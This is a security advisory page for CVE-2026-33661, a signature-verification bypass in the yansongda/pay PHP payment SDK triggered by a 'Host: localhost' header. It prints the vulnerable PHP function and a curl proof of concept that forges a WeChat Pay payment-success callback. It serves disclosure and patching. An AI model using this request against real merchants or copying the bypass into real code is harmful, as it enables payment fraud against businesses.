8.6high
WeChat Pay callback signature verification bypassed when Host header is localhost
- Severity
- 8.6high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.57% (higher than 48% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-q938-ghwv-8gvc
Description
Pay is an open-source payment SDK extension package for various Chinese payment services. Prior to version 3.7.20, the `verify_wechat_sign()` function in `src/Functions.php` unconditionally skips all signature verification when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely. This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment. Version 3.7.20 fixes the issue.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| yansongda pay | < 3.7.20, before 3.7.20 | CVE List, NVD |
| yansongda/pay (Packagist) | before 3.7.20 | GitHub Advisory Database |
All scores
| GitHub_M | 8.6high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N |
| GitHub | 8.6high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N |
| NVD | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.
What each source says
CVE List
Pay is an open-source payment SDK extension package for various Chinese payment services. Prior to version 3.7.20, the `verify_wechat_sign()` function in `src/Functions.php` unconditionally skips all signature verification when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely. This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment. Version 3.7.20 fixes the issue.
GitHub Advisory Database
Summary
The verify_wechat_sign() function in src/Functions.php unconditionally skips all signature verification when the PSR-7 request reports localhost as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a Host: localhost header, bypassing the RSA signature check entirely.
This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment.
Vulnerable Code
src/Functions.php lines 243-246:
function verify_wechat_sign(ResponseInterface|ServerRequestInterface $message, array $params): void
{
// BYPASS: Returns without any signature check if Host header is localhost
if ($message instanceof ServerRequestInterface && 'localhost' === $message->getUri()->getHost()) {
return; // No signature verified!
}
// ... openssl_verify() only reached when Host != localhost
$wechatSerial = $message->getHeaderLine('Wechatpay-Serial');
$sign = $message->getHeaderLine('Wechatpay-Signature');
$result = 1 === openssl_verify($content, base64_decode($sign), $public, 'sha256WithRSAEncryption');
}
In PSR-7 implementations (Nyholm, Guzzle PSR-7, etc.), $request->getUri()->getHost() reads the Host HTTP header, which is fully attacker-controlled.
Proof of Concept
curl -X POST https://merchant.example.com/payment/wechat/callback \
-H "Host: localhost" \
-H "Content-Type: application/json" \
-H "Wechatpay-Serial: any" \
-H "Wechatpay-Timestamp: 1234567890" \
-H "Wechatpay-Nonce: abc" \
-H "Wechatpay-Signature: AAAA" \
-d '{"id":"fake-order","event_type":"TRANSACTION.SUCCESS"}'
verify_wechat_sign() returns immediately without verifying the signature. The application marks the order as paid.
Impact
- Payment fraud: Attacker receives goods/services without actual payment by forging WeChat Pay callbacks
- No authentication required: Pure network attack, zero privileges needed
- Wide reach: Affects any application using
yansongda/payfor WeChat Pay callback validation. However, in most environments, Nginx/Ingress/Cloudflare/WAF will directly reject the forgery of this request header, so there is no need to worry too much.
NVD (es)
Pay es un paquete de extensión de SDK de pago de código abierto para varios servicios de pago chinos. Antes de la versión 3.7.20, la función `verify_wechat_sign()` en `src/Functions.php` omite incondicionalmente toda la verificación de firma cuando la solicitud PSR-7 informa localhost como el host. Un atacante puede explotar esto enviando una solicitud HTTP manipulada al endpoint de callback de WeChat Pay con un encabezado Host: localhost, eludiendo por completo la verificación de firma RSA. Esto permite falsificar notificaciones de éxito de pago falsas de WeChat Pay, lo que podría hacer que las aplicaciones marquen los pedidos como pagados sin un pago real. La versión 3.7.20 corrige el problema.
References
| https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc | exploit, vendor-advisory, web | |
| https://github.com/yansongda/pay/commit/26987ebf789f1e7f0a85febb640986ab4289fd7f | patch, web | |
| https://github.com/yansongda/pay/releases/tag/v3.7.20 | release-notes, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-33661 | advisory | |
| https://github.com/yansongda/pay | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-33661 changed 2026-03-27 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-q938-ghwv-8gvc changed 2026-03-27 | CC-BY-4.0 |
| NVD | CVE-2026-33661 changed 2026-06-17 | Public domain |